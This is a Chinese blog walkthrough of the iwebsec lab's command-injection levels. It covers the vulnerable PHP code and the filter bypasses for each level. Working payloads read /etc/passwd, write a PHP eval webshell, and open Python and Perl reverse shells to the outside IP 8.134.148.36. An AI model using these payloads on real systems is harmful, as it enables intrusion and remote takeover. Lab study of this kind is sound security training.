当前位置: 首页 > news >正文

命令执行漏洞 | iwebsec

文章目录

    • 1 靶场环境
    • 2 命令执行漏洞介绍
    • 3 靶场练习
      • 01-命令执行漏洞
      • 02-命令执行漏洞空格绕过
      • 03-命令执行漏洞关键命令绕过
      • 04-命令执行漏洞通配符绕过
      • 05-命令执行漏洞base64编码绕过
    • 4 命令执行漏洞危害
      • 01-读写系统文件
      • 02-执行系统命令
      • 03-种植恶意木马
      • 04-反弹shell
        • python反弹shell
        • perl反弹shell

1 靶场环境

这是 iwebsec 靶场,具体搭建过程可以看前面的文章。

在这里插入图片描述

2 命令执行漏洞介绍

应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system、exec、shell_exec、passthru、popen、proc_popen等函数执行系统命令。当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常的命令中,从而造成命令执行攻击,这就是命令执行漏洞。【摘自《web安全攻防》】

Windows系统支持的管道符:

管道符作用举例
|直接执行后面的命令。在这里插入图片描述
||前面执行的命令执行出错才执行后面的语句。在这里插入图片描述
&前面的语句无论真假都可以执行后面的语句。(无条件执行后面的语句,推荐使用。)在这里插入图片描述
&&前面语句为真才能执行后面的语句。在这里插入图片描述

Linux系统支持的管道符:

管道符作用举例
|显示后面语句的执行结果。在这里插入图片描述
;执行完前面的语句再执行后面的。在这里插入图片描述
||前面语句执行错误才执行后面的语句。在这里插入图片描述
&前面语句无论真假都会执行后面的语句。(无条件执行后面的语句,推荐使用。)在这里插入图片描述
&&前面的语句为真才能执行后面的语句。在这里插入图片描述

3 靶场练习

01-命令执行漏洞

打开靶场,直接测试。使用|

在这里插入图片描述

使用;

在这里插入图片描述

使用||

在这里插入图片描述

使用cat命令获取文件。

在这里插入图片描述

看网页源码,发现cat到文件源码。

在这里插入图片描述

获取/etc/passwd文件。

在这里插入图片描述

命令执行漏洞代码分析

服务端处理 ping ,程序获取GET参数IP,然后拼接到system() 函数中,利用 system() 函数执行ping的功能,但此处没有对参数IP做过滤和检测,导致可以利用管道符执行其他的系统命令。

<?phprequire_once('../header.php');
?><html><head><title>命令执行漏洞</title></head><h2>命令执行漏洞</h2><div class="alert alert-success"><p>/01.php?ip=127.0.0.1 </p></div><body><?phpif(isset($_GET['ip'])){$ip = $_GET['ip'];//用户可以控制system("ping -c 2 ".$ip);//system系统命令,没有限制}else{exit();}
?>

02-命令执行漏洞空格绕过

在这里插入图片描述

过滤了空格,可以去掉空格。

在这里插入图片描述

管道符两边的空格可以去除。但是有些是不能去除的,比如cat /ect/passwd,我们可以想办法绕过空格:

  1. 使用%09%09是tab键的url编码。
    在这里插入图片描述

  2. 使用<< 表示的是输入重定向的意思,就是把<后面跟的文件取代键盘作为新的输入设备。“命令 < 文件” ,这是将文件作为命令输入。
    在这里插入图片描述

  3. 使用{},用,实现空格可能。
    在这里插入图片描述

  4. 使用${IFS}
    在这里插入图片描述

  5. 使用$IFS$9
    在这里插入图片描述

源码分析

<?phpif(isset($_GET['ip'])){if (preg_match('/ /', $_GET['ip'])) {  //匹配空格die('error!!!');}else{$ip = $_GET['ip'];}system("ping -c 2 ".$ip);}else{exit();}
?>

03-命令执行漏洞关键命令绕过

在这里插入图片描述

cat命令的绕过:

  1. 使用常规绕过

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  1. 非常规操作

在这里插入图片描述

在这里插入图片描述

其他的试了,不行。我用自己的Linux系统试试:

在这里插入图片描述

在这里插入图片描述

  1. 使用符号及拼接

在这里插入图片描述

在这里插入图片描述

源码分析

<?phpif(isset($_GET['ip'])){if (preg_match('/cat/', $_GET['ip'])) {  //过滤了catdie('error!!!');}else{$ip = $_GET['ip'];		}system("ping -c 2 ".$ip);}else{exit();}	
?>

04-命令执行漏洞通配符绕过

<?phpif(isset($_GET['ip'])){if (preg_match('/etc|passwd/', $_GET['ip'])) {die('error!!!');}else{$ip = $_GET['ip'];	}system("ping -c 2 ".$ip);}else{exit();}
?>

看源码只是过滤了/etc/passwd文件,读取其他文件是没有问题的:

在这里插入图片描述

在这里插入图片描述

但我就是要读取/etc/passwd文件呢?

  1. 可以使用通配符绕过:

通配符是一种特殊语句,主要有星号(*)和问号(?),用来模糊搜索文件。当查找文件夹时,可以使用它来代替一个或多个真正字符;当不知道真正字符或者懒得输入完整名字时,常常使用通配符代替一个或多个真正的字符。 【百度百科】

在这里插入图片描述

在这里插入图片描述

  1. 使用符号及拼接

在这里插入图片描述

在这里插入图片描述

05-命令执行漏洞base64编码绕过

在这里插入图片描述

直接就可以RCE,看一下源码:

<?phpif(isset($_GET['ip'])){if (preg_match('/id/', $_GET['ip'])) {die('error!!!');}else{$ip = $_GET['ip'];}system("ping -c 2 ".$ip);}else{exit();}
?>

过滤了id这个关键字,Linux id命令用于显示用户的ID,以及所属群组的ID

在这里插入图片描述

使用base64编码绕过:

echo aWQ= | base64 -d 

在这里插入图片描述

第一个例子直接输出为id,第二个例子加了反引号`则会执行输出的内容,即执行命令id

在这里插入图片描述

除了base64,我们可以使用hex编码:

ip=127.0.0.1 | echo "6964" | xxd -r -p | bash
ip=127.0.0.1 | `echo "6964" | xxd -r -p`

在这里插入图片描述

在这里插入图片描述

第一句直接输出id,第二句将输出的内容传进bash执行。也可以不用bash执行,直接用反引号执行。

在这里插入图片描述

读取/etc/passwd文件:

在这里插入图片描述

在这里插入图片描述

4 命令执行漏洞危害

以第一关的环境为例,进行下面的实验。

01-读写系统文件

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

02-执行系统命令

常见linux系统命令大全

使用touch命令新建一个文件

在这里插入图片描述

在这里插入图片描述

pwd查看当前目录的位置

在这里插入图片描述

使用find命令搜索符合条件的文件

在这里插入图片描述

显示指定目录下所有目录和文件,包括隐藏文件

在这里插入图片描述

03-种植恶意木马

写入一句话木马

?ip=127.0.0.1|echo '<?php @eval($_POST['a']);?>' >2.php

在这里插入图片描述

连接一句话木马

在这里插入图片描述

在这里插入图片描述

用蚁剑连接

在这里插入图片描述

04-反弹shell

RCE/命令执行漏洞反弹shell小结。这里使用第三关环境,第一关被我改坏了。

我用bash反弹,一直写不进去,但是一句话木马又可以写入,按照源码只是对cat进行过滤而已,应该没有过滤其他东西了。试着把反弹shell逐个拆开写进去:

在这里插入图片描述

在这里插入图片描述

那应该是不能有&,所以bashphp的反弹shell语句都用不了。而python的反弹shell语句刚好没有:

python反弹shell

注入点:127.0.0.1|python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.134.148.36",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
监听点:nc -lvp 7777

在这里插入图片描述
在这里插入图片描述

perl反弹shell

注入点:127.0.0.1|perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"8.134.148.36:6666");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
监听点:nc -lvp 6666

在这里插入图片描述

在这里插入图片描述

相关文章:

命令执行漏洞 | iwebsec

文章目录1 靶场环境2 命令执行漏洞介绍3 靶场练习01-命令执行漏洞02-命令执行漏洞空格绕过03-命令执行漏洞关键命令绕过04-命令执行漏洞通配符绕过05-命令执行漏洞base64编码绕过4 命令执行漏洞危害01-读写系统文件02-执行系统命令03-种植恶意木马04-反弹shellpython反弹shellp…...

2023.02.26 学习周报

文章目录摘要文献阅读1.题目2.摘要3.介绍4.模型4.1 SESSION-PARALLEL MINI-BATCHES4.2 SAMPLING ON THE OUTPUT4.3 RANKING LOSS5.实验5.1 数据集5.2 验证方式5.3 baselines5.4 实验结果6.结论深度学习元胞自动机1.定义2.构成3.特性4.思想5.统计特征流形学习1.降维2.空间3.距离…...

局域网实现PC、Pad、Android互联

文章目录局域网实现PC、Pad、Android互联一、网络邻居1、 Windows 配置1.1 开启共享功能1.2 设置用户1.3 共享文件夹2、 Pad 连接二、 FTP & HTTP1、 电脑配置1.1 HTTP 服务1.2 FTP 服务2、 连接3、 电脑连接 FTP三、 其他方式局域网实现PC、Pad、Android互联 在我们使用多…...

AC自动机

AC自动机 该模型应用场景是什么样的&#xff1f;假如有一篇很长的文章&#xff0c;然后有一个敏感词表单&#xff0c;请从这篇文章里找出包含了哪些敏感词。即便是用KMP进行快速匹配&#xff0c;那也只能每次遍历整篇文章才能找到一种敏感词&#xff0c;KMP只适用于单一子串匹配…...

git入门

目录 1. git简介 1.1 git是什么 1.2 git与svn的区别 2. github 2.1 创建仓库 2.2 删除仓库 2.3 新建文件及文件夹 3. git的基本操作 3.1 配置账户及邮箱 3.2 git文件状态与工作区域 3.3 常用命令 3.4 克隆&#xff08;clone&#xff09; 3.5 查看git仓库的状态 3.…...

RK3568编译Android11和目录讲解

文章目录 前言一、下载android11源码二、环境搭建1.增加交换内存三、编译瑞芯微原厂源码四、目录讲解总结前言 本文记录在Ubuntu18.04中编译Android11,只有编译了源码,后面才能进行驱动的开发,有兴趣的小伙伴可以和我一起学习吧! 提示:以下是本篇文章正文内容,下面案例可…...

java泛型学习篇(二)

java泛型学习篇(二) 1 自定义泛型类 1.1 基本语法 Class 类型 <T,R,M...>{ //成员,其中...代表<>括号里面的参数可以有多个ja }1.2 注意点 1.2.1 属性和方法都是可以使用泛型的 T t;//属性使用泛型,合法public T getT() {return t;} //方法使用泛型,合法 publi…...

Java基础

Java基础Java基础一、课前问答二、概述三、Java的历史四、Java的特点五、计算机执行机制以及Java执行机制5.1 计算机的执行机制5.2 Java的执行机制六、常用DOS命令七、第一个Java程序八、包的使用九、编码规范十、注释Java基础 一、课前问答 1、什么是程序 2、什么是语言 3、什…...

骨骼控制(一)——动画动态节点(AnimDynamics)

文章目录一、引言二、骨骼控制三、UE蓝图中提供的骨骼控制节点——AnimDynamics动画蓝图节点1、什么是AnimDynamics动画蓝图节点①使用盒体计算惯性②使用约束来限制移动2、AnimDynamics节点的几种常用例子①单骨骼模拟②骨骼链模拟 <h2 id1>③群魔乱舞&#xff08;这是错…...

Linux系统下搭建maven环境

文章目录前述从官网下载安装包安装 maven修改maven配置修改环境变量测试前述 安装 maven 环境前&#xff0c;需要先安装 java 环境&#xff0c;如果没有安装 java 环境&#xff0c;可以参考&#xff1a;https://blog.csdn.net/weixin_45583303/article/details/118631855 从官…...

English Learning - L2 语音作业打卡 Day3 2023.2.23 周四

English Learning - L2 语音作业打卡 Day3 2023.2.23 周四&#x1f48c; 发音小贴士&#xff1a;&#x1f48c; 当日目标音发音规则/技巧&#xff1a;&#x1f36d; Part 1【热身练习】&#x1f36d; Part2【练习内容】&#x1f36d;【练习感受】&#x1f353;元音[ ɔ: ]&…...

RK3568平台开发系列讲解(驱动基础篇)GIC v3中断控制器

🚀返回专栏总目录 文章目录 一、什么是GIC二、GIC v3中断类型三、GIC v3基本结构3.1、Distributor3.2、CPU interface简介3.3、Redistributor简介3.4、ITS(Interrupt translation service)4、中断状态和处理流程沉淀、分享、成长,让自己和他人都能有所收获!😄 📢ARM多核…...

决策树、随机森林、极端随机树(ERT)

声明&#xff1a;本文仅为个人学习记录所用&#xff0c;参考较多&#xff0c;如有侵权&#xff0c;联系删除 决策树 通俗来说&#xff0c;决策树分类的思想类似于找对象。现想象一个女孩的母亲要给这个女孩介绍男朋友&#xff0c;于是有了下面的对话&#xff1a; 女儿&#x…...

软件测试之因果图法

因果图法 1. 概述 因果图法是一种**利用图解法分析输入条件、输出结果的各种组合情况,**从而设计测试用例的方法. 因果图法适用于有多个输入和多个输出&#xff0c;而且输入和输入之间有相互的组合关系&#xff0c;输入和输出之间有相互的制约和依赖关系. 使用场景和判定表…...

vue中子组件间接修改父组件传递过来的值

一、前言 Vue官方文档Props单向数据流讲解 Vue中遵循单向数据流&#xff0c;所有的 props 都遵循着单向绑定原则&#xff0c;props 因父组件的更新而变化&#xff0c;自然地将新的状态向下流往子组件&#xff0c;而不会逆向传递。这避免了子组件意外修改父组件的状态的情况&a…...

Java I/O

前言 关于IO, 想必你听过很多中I/O方式, 有的是OS视角的, 有的是JDK本身支持的, 有的是纯实现视角。但是作为一个developer, 我希望你能先搞清楚上下文之后, 再去理解内容, 否则容易抬杠。这个上下文有横向和纵向两个维度。纵向维度包括JDK底层, JDK上层包装库, 开发框架(如Ne…...

pytorch学习日记之图片的简单卷积、池化

导入图片并转化为张量 import torch import torch.nn as nn import matplotlib.pyplot as plt import numpy as np from PIL import Image mymi Image.open("pic/123.png") # 读取图像转化为灰度图片转化为numpy数组 myimgray np.array(mymi.convert("L"…...

【java基础】抽象类和抽象方法

文章目录基本介绍抽象类抽象方法使用总结基本介绍 在面向对象的概念中&#xff0c;所有的对象都是通过类来描绘的&#xff0c;但是反过来&#xff0c;并不是所有的类都是用来描绘对象的&#xff0c;如果一个类中没有包含足够的信息来描绘一个具体的对象&#xff0c;这样的类就…...

RDD的内核调度【博学谷学习记录】

RDD的依赖关系RDD的依赖: 指的一个RDD的形成可能是有一个或者多个RDD得出, 此时这个RDD和之前的RDD之间产生依赖关系在Spark中, RDD之间的依赖关系,主要有二种依赖关系:1- 窄依赖:目的: 为了实现并行计算操作, 并且提高容错的能力指的: 一个RDD上的一个分区的数据, 只能完整的交…...

二叉树——二叉搜索树的最小绝对差

二叉搜索树的最小绝对差 链接 给你一个二叉搜索树的根节点 root &#xff0c;返回 树中任意两不同节点值之间的最小差值 。 差值是一个正数&#xff0c;其数值等于两值之差的绝对值。 示例 1&#xff1a; 输入&#xff1a;root [4,2,6,1,3] 输出&#xff1a;1 示例 2&…...

局部遮阴光伏MPPT仿真:粒子群算法详解及video explanation指引

局部遮阴光伏MPPT仿真-粒子群算法&#xff0c;有 video explanation光伏阵列在局部遮阴条件下会出现多峰特性&#xff0c;传统MPPT算法容易陷入局部最优。这时候就该粒子群算法&#xff08;PSO&#xff09;登场了——这种群体智能算法最适合在这种崎岖的功率曲线上玩冲浪。先看…...

NX二次开发自动化签名与部署:DLL编译后处理全攻略

1. 为什么需要自动化签名与部署&#xff1f; 做过NX二次开发的朋友都知道&#xff0c;每次修改代码后都要手动签名和部署DLL文件&#xff0c;这个过程简直让人抓狂。我刚开始做NX插件开发时&#xff0c;经常因为忘记签名导致测试失败&#xff0c;来回折腾特别浪费时间。后来发…...

安卓7.0系统深度解锁:安全获取Root权限的实用指南

1. Root权限的前置知识 第一次接触安卓Root的朋友可能会疑惑&#xff1a;为什么我们需要大费周章获取这个权限&#xff1f;简单来说&#xff0c;Root就像手机系统的"万能钥匙"。普通用户模式下&#xff0c;我们只能在自己的"房间"&#xff08;用户分区&…...

Halcon模板匹配实战:7种方法对比与选型指南(附汽车制造案例)

Halcon模板匹配实战&#xff1a;工业场景下的七种方法深度解析与选型策略 在汽车制造车间里&#xff0c;一个机械臂正在精准地焊接车身部件&#xff0c;它的"眼睛"正是基于Halcon模板匹配技术的视觉系统。当焊点位置存在0.1mm的偏差时&#xff0c;系统能在10毫秒内识…...

Adafruit_RTCLib驱动DS1307实时时钟开发指南

1. Adafruit_RTCLib 库深度解析&#xff1a;面向嵌入式工程师的 DS1307 实时时钟驱动实践指南1.1 库定位与工程价值Adafruit_RTCLib 是 Adafruit 官方维护的跨平台实时时钟&#xff08;RTC&#xff09;抽象库&#xff0c;其核心目标并非仅限于 DS1307 芯片&#xff0c;而是构建…...

手把手教你用FIRSTOP和LASTOP集构建算符优先关系表(附完整算法步骤)

从零构建算符优先关系表&#xff1a;FIRSTOP与LASTOP实战指南 在编译原理的语法分析领域&#xff0c;算符优先分析法因其直观性和高效性&#xff0c;成为处理表达式解析的利器。本文将带您深入理解FIRSTOP与LASTOP集的核心概念&#xff0c;并通过完整的算法实现步骤&#xff0c…...

CLIP-GmP-ViT-L-14图文匹配测试工具实战:软件测试中的自动化验证用例

CLIP-GmP-ViT-L-14图文匹配测试工具实战&#xff1a;软件测试中的自动化验证用例 你有没有遇到过这种情况&#xff1f;产品上线前&#xff0c;测试同学拿着密密麻麻的测试用例文档&#xff0c;一张张截图&#xff0c;再人工核对界面上的文字和图片是不是和设计稿一致。或者&am…...

LangBot:企业级即时通讯 AI 机器人平台 系统环境配置篇

LangBot&#xff1a;企业级即时通讯 AI 机器人平台 系统环境配置篇 “专为企业打造的即时通讯 AI 机器人平台&#xff0c;无缝集成飞书&#xff08;Lark&#xff09;、钉钉、企业微信等企业通讯工具&#xff0c;与 Dify 等 AI 应用平台深度整合&#xff0c;让企业 AI 应用快速落…...

PointNet实战:5步搞定三维点云分类与分割(附Python代码)

PointNet实战&#xff1a;5步搞定三维点云分类与分割&#xff08;附Python代码&#xff09; 三维点云技术正在重塑多个行业的数字化进程。从自动驾驶车辆的实时环境感知到工业质检中的精密测量&#xff0c;再到AR/VR中的沉浸式交互&#xff0c;点云数据以其最接近原始传感器采集…...

libsodium嵌入式移植实战:ESPHome安全工程指南

1. libsodium 在嵌入式系统中的工程化移植&#xff1a;以 ESPHome 为例的深度解析1.1 为什么嵌入式系统需要 libsodium&#xff1f;在资源受限的 MCU 平台上&#xff08;如 ESP32、nRF52840、STM32H7&#xff09;&#xff0c;密码学功能长期面临三重矛盾&#xff1a;安全性要求…...